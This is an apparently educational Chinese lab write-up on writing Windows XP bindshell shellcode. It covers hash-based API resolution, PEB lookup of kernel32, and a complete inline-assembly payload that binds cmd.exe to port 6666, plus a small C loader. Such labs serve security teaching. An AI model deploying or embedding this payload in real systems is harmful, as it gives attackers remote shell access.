3.7 bindshell编写

目录

一、实验环境

二、实验要求

三、实验步骤

1、高级语言编写此bindshell的大概思路

2、获取hash摘要

3、动态定位API函数地址

4、编写bindshell代码


一、实验环境

        本实验采用的操作系统为windows xp,实验软件有:vc++

二、实验要求

        编写的bindshell应该实现以下功能:

  • 绑定一个shell到6666端口;
  • 允许外部的网络连接使用这个shell;
  • 程序能正常退出;
  • 具有较强的通用性,能在windows NT4、windows 2000、windows xp、windows 2003上运行。

三、实验步骤

1、高级语言编写此bindshell的大概思路

        (1)调用WSAStartup()初始化winsocket;

                注:任何使用Windows套接API的windows程序调用的第一个函数必须是WSAStartup()。

        (2)调用WSASocket()创建套接字;

                注:套接字是端口与IP地址的组合,用于进程之间的通信。

        (3)调用bind()函数绑定套接字到本地(6666)端口;

        (4)调用listen()函数对连接请求进行监听;

        (5)调用accept()处理连接请求;

        (6)创建一个cmd进程,并将其输入与输出重定向到创建的套接字上;

        注:为客户端创建shell命令窗口,可以用CreateProcessA()函数。

        (7)调用ExitProcess()用于程序的正常退出。

        可以看到要想实现bindshell的功能,需要的函数包括:

  • kernel32.dll中的导出函数
LoadLibraryA()           //用于装载ws2_32.dll
CreateProcessA()            
ExitProcess()

        注:windows下的socket程序依赖ws2_32.dll,必须提前装载。

  • ws2_32.dll中的导出函数
WSAStartup()
WSASocket()
bind()
listen()
accept()

2、获取hash摘要

        在用汇编语言编写bindshell之前,我们需要搜索相关库函数的导出表,查找导出表中的函数名,最终确定函数的入口地址。 在搜索操作中,采用比较hash摘要的办法,而不是直接比较函数名。

        本实验采用的hash算法如下(esi指向当前hash的函数名,edx被初始化null):

hash_loop:
        lodsb            :把函数名中的一个字符装入al,并且esi+1,指向函数名中的下一个字符
        xor al,0x71      ;用0x71异或当前字符
        sub dl,al        ;更新dl中的hash值
        cmp al,0x71      ;继续循环,直到遇到字符串结尾的null
        jne hash_loop

        通过这个hsah函数,原函数名、hash值、hash值对应的指令三者之间的关系如下表:

原函数名、hash值及其对应指令的关系
函数名 hash后得到的摘要 摘要对应的等价于nop的指令
LoadLibraryA 0x59 pop ecx
CreateProcessA 0x81 or ecx,0x203062d3
ExitProcess 0xc9
WSAStartup 0xd3
WSASocket 0x62
bind 0x30
listen 0x20
accept 0x41 inc ecx

        需要注意:等价于nop指令,指的是相对于实际代码的上下文而言,不影响后续代码执行的指令。将等价于nop指令放在shellcode开头,就可以省去跳过这段摘要的跳转指令,进一步缩小shellcode的大小。

        另外,在调用CreateProcessA的时候,需要“cmd”这个字符串作为参数得到一个命令行的shell。已知这个调用不需要后缀“.exe”,并且对字符串的大小写无关,也就是说,“cMD”和“cmD”是等价的。

ASCII字值及其机器码对应的指令
ASCII字符 ASCII值(机器码) 机器码对应的指令
C 0x43 inc ebx
M 0x4d dec ebp
d 0x64 FS:

        从“CMd”字符的ASCII码对应的指令来看,对后续指令的执行基本上没有影响,属于“准nop”指令,故将字符“CMd”放在hash值后面。

3、动态定位API函数地址

        有关动态定位API函数地址的原理,请参考CSDN

        以定位kernel32.dll为例,代码如下:

mov ebx, fs:[edx+0x30]	// ebx = address of PEB
mov ecx, [ebx+0x0c]		// ecx = pointer to loader data
mov ecx, [ecx+0x1c]		// ecx = first entry in initialisation order list
mov ecx, [ecx]			// ecx = second entry in list kernelbase.dll
mov ebp, [ecx+0x08]		// ebp = base address of kernel32.dll
 

4、编写bindshell代码

__asm
	{
	    // eax points here
		// function hashes (executable as nop-equivalent)
		_emit 0x59			// LoadLibraryA		// pop ecx
		_emit 0x81			// CreateProcessA	// or ecx,0x203062d3
		_emit 0xc9			// ExitProcess		
		_emit 0xd3			// WSAStartup		
		_emit 0x62			// WSASocketA		
		_emit 0x30			// bind			
		_emit 0x20			// listen		
		_emit 0x41			// accept		// inc ecx
								
		// "CMd"
		_emit 0x43			// inc ebx
		_emit 0x4d			// dec ebp
		_emit 0x64			// FS:
 
		// start of proper code
		cdq				// set edx=0 (eax points to stack so is less than 0x80000000)
		xchg	eax,esi			// esi = addr of first function hash
		lea edi, [esi-0x18]		// edi = addr of start writing function 
							// address (last addr will be written just before "cmd")
 
		// find base addr of kernel32.dll
		mov ebx, fs:[edx+0x30]	// ebx = address of PEB
		mov ecx, [ebx+0x0c]		// ecx = pointer to loader data
		mov ecx, [ecx+0x1c]		// ecx = first entry in initialisation order list
		mov ecx, [ecx]			// ecx = second entry in list kernelbase.dll
		mov ebp, [ecx+0x08]		// ebp = base address of kernel32.dll
 
		// make some stack space
		mov dh,0x03			// sizeof(WSADATA) is 0x190
		sub esp,edx				
 
		// push a pointer to "ws2_32" onto stack
		mov dx,0x3233			// rest of edx is null
		push edx
		push 0x5f327377
		push esp
 
find_lib_functions:
		lodsb				// load next hash into al and increment esi
		cmp al, 0xd3		// hash of "WSAStartup" - trigger LoadLibrary("ws2_32")
        jne find_functions
		xchg eax,ebp			// save current hash
		call [edi - 0xc]		// LoadLibraryA
		xchg eax,ebp			// restore current hash, and update ebp
							    // whith base address of ws2_32.dll 
		push edi			    // save location of addr of first winsock function
 
find_functions:
		pushad				    // preserve registers
		mov eax, [ebp+0x3c]		// eax = start of PE header
		mov ecx, [ebp+eax+0x78]	// ecx = relative offset of export table
		add ecx, ebp		    // ecx = absolute addr of export table
		mov ebx, [ecx+0x20]		// ebx = relative offset of names table
		add ebx, ebp			// ebx = absolute addr of names table
		xor edi, edi			// edi will count through the functions
 
next_function_loop:
		inc edi				    // increment function counter
		mov esi, [ebx+edi*4]	// esi = relative offset of current function name
		add esi, ebp			// esi = absolute addr of current function name
		cdq	                    //dl will hold hash(we know eax is small)
 
hash_loop:
		lodsb				// load next char into al and increment esi
		xor al, 0x71		// xor current char with 0x71
		sub dl, al		    // update hash with current char
		cmp al, 0x71		// loop until we reach end of string
		jne hash_loop
		cmp dl, [esp+0x1c]  // compare to the requested hash (saved on stack from pushad)
 
		jnz next_function_loop
 
		//we now have the right function
		mov ebx, [ecx + 0x24]		//ebx = relative offset of ordinals table
		add ebx, ebp			    //ebx = absolute addr of ordinals table
		mov di, [ebx + 2 * edi]		//di = ordinal number of matched function
		mov ebx, [ecx + 0x1c]		//ebx = relative offset of address table
		add ebx, ebp			    //ebx = absolute addr of address table
		add ebp, [ebx + 4 * edi]	//add to ebp (base addr of module) the relative 
				                    // offset of matched function
 
		xchg eax, ebp			// move func addr into eax
		pop edi				    // edi is last onto stack in pushad write 
		stosd				    // write functon addr to [edi] and increment edi
 
		push edi
		popad				    // restore registers
		cmp esi, edi			// loop until we reach end of last hash
		jne find_lib_functions
		pop esi				    // saved location of first winsock function
								// we will lodsd and call each func in sequence
 
		// initialize winsock
		push esp			// use stack for WSADATA
		push 0x02			// wVersionRequested
		lodsd
		call eax			// WSAStartup
 
		// null-terminate "cmd"
	    mov byte ptr[esi + 0x13], al	// eax ==0 if WSAStartup() worked
 
		// clear some stack to use as NULL parameters
		lea ecx, [eax+0x30]		// sizeof(STARTUPINFO) = 0x44
		mov edi,esp
		rep stosd			// eax is still 0
 
		//create socket
		inc eax
		push eax			// type = 1 (SOCK_STREAM)
		inc eax
		push eax    		// af = 2 (AF_INET)
		lodsd
		call eax			// WSASocketA
		xchg ebp,eax	    // save SOCKET descriptor in ebp
							// (safe from being changed by remaining API calls)
 
		// push bind parameters
		mov eax, 0x0a1aff02		// ox1a0a = port 6666, 0x02 = AF_INET
		xor ah,ah			    // remove the ff from eax
		push eax			    // we use 0x0a1a0002 as both the name (strucht sockaddr)
								// and namelen (which only needs to be large enough)
		push esp		    	// pointer to our sockaddr struct
 
		// call bind(), linsten() and accept() in turn
call_loop:
		push ebp  //save SOCKET descriptor(we implicitly pass NULL for all other params)
 
		lodsd
		call eax		    	// call the next function
		test eax,eax			// bind() and listen() return 0, 
								// accept() returns a SOCKET descriptor
        jz call_loop
 
		// initialise a STARTUPINFO structrue at esp
		inc byte ptr[esp+0x2d]		// set STARTF_USERTDHANDLES to true
		sub edi,0x6c			    // point edi at hStdInput in STARTUPINFO
		stosd				//use SOCKET descriptor returned by accept (still in eax)
						    // as the stdin handle same for stdout 
		stosd				// same for stderr (optional)
 
		// create process
		pop eax				// set eax = 0 (STARTUPINFO now at esp+4)
		push esp			// use stack at PROCESSINFORMATION structure
							// (STARTUPINFO now back to esp)
		push esp			// STARTUPINFO structrue
		push eax			// lpCurrentDirectory = NULL
		push eax			// lpEnvironment = NULL
		push eax			// dwCreationFlags = NULL
		push esp			// bInheritHandles = TRUE
		push eax			// lpThreadAttributes = NULL
		push eax			// lpProcessAttributes = NULL
		push esi			// lpCommandLine = "cmd"
		push eax			// lpApplicationName = NULL
		call[esi-0x1c]		// CreateProcessA
 
		// call ExitProcess()
		call[esi-0x18]			//ExitProcess
	}

        可以j将上述代码转化为机器码形式,用以下的代码装载shellcode:

void main()
{
    __asm
    {    
        lea eax,sc
        push eax
        ret
    }
}

你可能感兴趣的:(0day安全,安全)